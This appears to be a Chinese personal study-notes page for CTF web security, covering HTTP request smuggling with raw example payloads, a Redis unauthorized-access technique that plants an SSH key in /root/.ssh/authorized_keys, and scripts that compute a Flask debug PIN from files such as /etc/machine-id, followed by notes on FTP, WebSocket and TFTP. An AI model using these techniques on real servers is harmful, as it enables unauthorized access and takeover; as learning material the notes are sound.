破破烂烂碎碎知识汇总
HTTP部分请求头
Transfer-Encoding
其中中有一类特定编码:chunked编码.该编码将实体分块传送并逐块标明长度,直到长度为0块表示传输结束, 这在实体长度未知时特别有用(比如由数据库动态产生的数据),该编码格式为
Transfer-Encoding: chunked\r\n
\r\n
16进制表示下一个分块的长度\r\n
要发送的数据\r\n
重复上列数据直到最终结尾使用一个空的数据块来表示内容结束
0\r\n
\r\n
内存马
条件:/proc/某进程pid/mem可读
HTTP请求走私
成因
请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-Length
和 Transfer-Encoding
标头。
分类
- CLTE:前端服务器使用
Content-Length
头,后端服务器使用Transfer-Encoding
头 - TECL:前端服务器使用
Transfer-Encoding
标头,后端服务器使用Content-Length
标头。 - TETE:前端和后端服务器都支持
Transfer-Encoding
标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。
攻击方式
CL不为0的GET请求
当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的
Content-Length
头,不进行处理。例如下面这个例子:GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 44\r\n GET /secret HTTP/1.1\r\n Host: example.com\r\n \r\n
这时前端对
Content-Length
头进行了处理,将后续伪造的GET请求传入了后端,而后端则没有处理,直接将下面的内容当做了又一个独立请求进行处理双CL值不同的请求
根据RFC 7230,当服务器收到的请求中包含两个
Content-Length
,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的Content-Length
值时,就会出现漏洞。例如:POST / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 8\r\n Content-Length: 7\r\n 12345\r\n a
这个例子中的a就会被带入到下一个请求中,使得下一个请求变成了
aGET / HTTP/1.1\r\n
CL-TE
指前端服务器处理
Content-Length
这一请求头,而后端服务器遵守RFC2616的规定,忽略掉Content-Length
,处理Transfer-Encoding
。例如:POST / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 4\r\n Transfer-Encoding: chunked\r\n \r\n 12\r\n aPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n
此处前端只处理了
Content-Length
这一请求头而忽略了Transfer-Encoding
请求头TE-TE
指前后端服务器都处理
Transfer-Encoding
请求头,但是在容错性上表现不同,例如有的服务器可能会处理Transfer-encoding
,测试例如:POST / HTTP/1.1\r\n Host: example.com\r\n Content-length: 4\r\n Transfer-Encoding: chunked\r\n Transfer-encoding: cow\r\n \r\n 5c\r\n aPOST / HTTP/1.1\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 15\r\n \r\n x=1\r\n 0\r\n \r\n
PHP session反序列化
Redis未授权访问
其实并不是CVE,但也是个蛮有趣的漏洞,众所周知redis和memcached这俩难兄难弟是不需要密码的,但是他们同时又有很高的权限,所以当这俩货对外网开启访问权限的时候就很容易被扫描到并且被搞,那么话不多说,开干!
利用条件:Redis开放给外部访问并且知道ssh链接端口
漏洞利用:
- 首先搭建好redis服务并更改配置文件打开外部访问
- 在本机中使用
ssh-keygen -t rsa
命令来自动生成公私钥 - 下面就是将公钥写入受害机器的
.ssh
目录下,此处我们利用redis备份数据库文件的方式进行,首先使用redis命令将内容写入到一个数据中(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") | redis-cli -h 受害者IP -p redis端口 -x set crackit
,这样我们就将公钥写入到了数据库中 - 写入到数据库中还需要将公钥保存为文件才能生效,我们利用redis命令来将公钥文件以数据库备份的形式放入
/root/.ssh/authorized_keys
,使用config set dir /root/.ssh;config set dbfilename authorized_keys;save;
来将数据库文件保存 - 使用私钥直接连接受害者服务器
ssh -i ~/.ssh/id_rsa root@受害者IP -p SSH服务端口
Flask PIN值计算
直接放脚本算了
#MD5 python3.6
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# flask执行用户
'flask.app',# 默认
'Flask',# 默认
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),报错也可
]
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
#sha1 python3.8
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
总之需要的文件就是
/sys/class/net/eth0/address
/etc/machine-id
/proc/sys/kernel/random/boot_id
/proc/self/cgroup
必要的就是machine-id,没有的话就用boot_id代替
奇怪的协议
众所周知啊,现在网络传输有非常多的协议,打CTF呢最近越来越没有什么正常的http协议了,所以准备写一个小小的文章稍微总结一下各种奇怪协议,万一以后用的到呢~~~
FTP
FTP协议是互联网上广泛使用的文件传输协议
客户端/服务器模式,基于TCP协议
采用双TCP连接方式
- 控制连接默认使用TCP端口号21,控制连接在整个会话期间都会保持打开
- 数据连接默认使用TCP端口号20,数据连接在传输文件时打开,文件传输结束,连接终止
FTP有两种文件传输模式
- ASCII模式是默认的文件传输模式,会将文件转为标准ASCII码再进行传输
- 二进制模式又称图像文件传输模式,文件会按照比特流的方式进行传输
FTP采用两种数据传输方式
主动(Standard)方式,又称为PORT方式,客户端首先向服务端发送PORT命令,告诉服务器用于数据传输的临时端口号,当进行数据传输时,由服务器向客户端指定端口发起连接,由于是服务器发起连接,所以叫主动方式,
FTP服务器必须和客户端建立一个新的连接用来传送数据。
被动(Passive)方式,又称为PASV方式,服务器收到PASV命令后随即打开一个高端(大于1024)端口,并通知客户端在这个端口上传送数据,由客户端向服务端的指定端口发起连接,所以叫被动方式
FTP服务器不再需要建立一个新的和客户端之间的连接。
FTP中的命令和应答:命令和应答在客户和服务器的控制连接上以 NVT ASCII码形式传送。这就要求在每行结尾都要返回C R、 L F对(也就是每个命令或每个应答)。这些命令都是3或4个字节的大写ASCII字符,其中一些带选项参数。下面是一些命令(来自客户端)
命令 | 说明 |
---|---|
ABOR |
放弃先前的FTP命令与数据传输 |
LIST filename |
列表显示文件或目录 |
USER username |
服务器上的用户名 |
PASS password |
服务器上的口令 |
PORT n1,n2,n3,n4,n5,n6 |
客户端的IP地址与端口(n1.n2.n3.n4:n5*256+n6) |
QUIT |
注销 |
RETR filename |
检索一个文件 |
STOR filename |
存储一个文件 |
SYST |
从服务器返回系统编码类型 |
TYPE typeUSER |
说明文件传输模式:A表示ASCII码,I表示比特流 |
而FTP的应答都是ASCII码形式的三位数字,并且跟有报文来帮助人工处理,这里是一些有用的响应数据
应答 | 说明 |
---|---|
1yz | 肯定预备应答,在发送另一个命令前期待另一个应答时启动 |
2yz | 肯定完成应答,一个新命令可以发送 |
3yz | 肯定中介应答,该命令已被应答,但另一个命令必须被发送 |
4yz | 暂态否定完成应答,请求动作未发生,但差错是暂时的,命令可以过后再发 |
5yz | 永久性否定完成应答,命令不被接受并且不再进行重试 |
x0z | 语法错误 |
x1z | 信息 |
x2z | 连接,应答指控制或数据连接 |
x3z | 鉴别和记账,应答用于注册或记账命令 |
x4z | 未指明 |
x5z | 文件系统状态 |
下面是一次正常的FTP连接的双方数据交互的过程
响应: 220 (vsFTPd 3.0.2)
命令: AUTH TLS
响应: 530 Please login with USER and PASS.
命令: AUTH SSL
响应: 530 Please login with USER and PASS.
状态: 不安全的服务器,不支持 FTP over TLS。
命令: USER test
响应: 331 Please specify the password.
命令: PASS ****
响应: 230 Login successful.
命令: OPTS UTF8 ON
响应: 200 Always in UTF8 mode.
命令: CWD /
响应: 250 Directory successfully changed.
命令: PWD
响应: 257 "/"
命令: TYPE A
响应: 200 Switching to ASCII mode.
命令: PASV
响应: 227 Entering Passive Mode (172,17,0,6,82,117).
命令: STOR main.py
响应: 150 Ok to send data.
响应: 226 Transfer complete.
命令: TYPE I
响应: 200 Switching to Binary mode.
命令: PASV
响应: 227 Entering Passive Mode (172,17,0,6,82,111).
命令: LIST
响应: 150 Here comes the directory listing.
响应: 226 Directory send OK.
WEBSOCKET
HTTP协议有一个的缺陷为:通信只能由客户端发起。在一些场景下,这种单向请求的特点,注定了如果服务器有连续的状态变化,客户端要获知就非常麻烦。我们只能使用轮询:每隔一段时候,就发出一个询问,了解服务器有没有新的信息。轮询效率低切浪费资源,此时,websocket就被发明了
Webscoket是Web浏览器和服务器之间的一种全双工通信协议,其中WebSocket协议由IETF定为标准,WebSocket API由W3C定为标准。一旦Web客户端与服务器建立起连接,之后的全部数据通信都通过这个连接进行。通信过程中,可互相发送JSON、XML、HTML或图片等任意格式的数据。
与HTTP的相同点:
- 都是基于TCP的应用层协议
- 都使用Request/Response模型进行连接的建立
- 在连接的建立过程中对错误的处理方式相同,在这个阶段WS可能返回和HTTP相同的返回码
不同之处在于:
- WS使用HTTP来建立连接,但是定义了一系列新的header域,这些域在HTTP中并不会使用
- WS的连接不能通过中间人来转发,它必须是一个直接连接
- WS连接建立之后,通信双方都可以在任何时刻向另一方发送数据
- WS连接建立之后,数据的传输使用帧来传递,不再需要Request消息
- WS的数据帧有序
这里是一个完整的websocket的过程数据流
GET / HTTP/1.1
Host: localhost:3000
Pragma: no-cache
Accept: */*
Sec-WebSocket-Key: bI1MuDR3aJuRuf8JYLkqVw==
Sec-WebSocket-Version: 13
Accept-Language: zh-CN,zh-Hans;q=0.9
Sec-WebSocket-Extensions: permessage-deflate
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
Origin: null
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
Connection: Upgrade
Upgrade: websocket
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: NLLgtF7B4DX8+2TpfNbpeL/vprw=
.."c_.Z
>.Q
..ECHO: xiaosi.."|.xZ...Q...ECHO: xiaosi..h..J...%....ECHO: xiaosi....L...-.....ECHO: xiaosi...+~L.B.#.B..ECHO: xiaosi..d...........ECHO: xiaosi........t.....ECHO: xiaosi..F...>...5...ECHO: xiaosi
- 第一行为为请求的方法,类型必须为GET,协议版本号必须大于1.1
- Upgrade字段必须包含,值为websocket
- Connection字段必须包含,值为Upgrade
- Sec-WebSocket-Key字段必须包含 ,记录着握手过程中必不可少的键值。
- Sec-WebSocket-Protocol字段必须包含 ,记录着使用的子协议
TFTP
TFTP(Trival File Transfer Protocal,简单文件传输协议)该协议在熟知端口69上使用UDP服务。TFTP协议常用于无盘工作站或路由器从别的主机上获取引导配置文件,由于TFTP报文比较小,能够迅速复制这些文件。
优点:TFTP协议代码所占用的内存小,其对应的软件也很小,所以能个很容易地放入到无盘工作站的ROM中,TFTP支持ASCII码或二进制传送。
传输过程
以TFTP客户向TFTP服务器发送读请求为例,说明整个过程。
- 服务器使用熟知端口号69被动打开连接;
- 客户主动打开连接,它使用临时端口作为源端口而熟知端口69作为目的端口,向服务器进程发送RRQ报文;
- 服务器主动打开连接,它使用新的临时端口作为源端口,而使用收到的来自客户的临时端口作为目的端口,向TFTP客户进程发送DATA报文(2B操作码,2B数据块的块号K,512B数据);
- 客户收到服务器的报文后,发送4B的ACK(2B的操作码和2B的数据块号)给TFTP服务器,告诉它之前发送给客户的数据报已经收到;
- 重复步骤3-4,直到所有请求的数据发送完毕。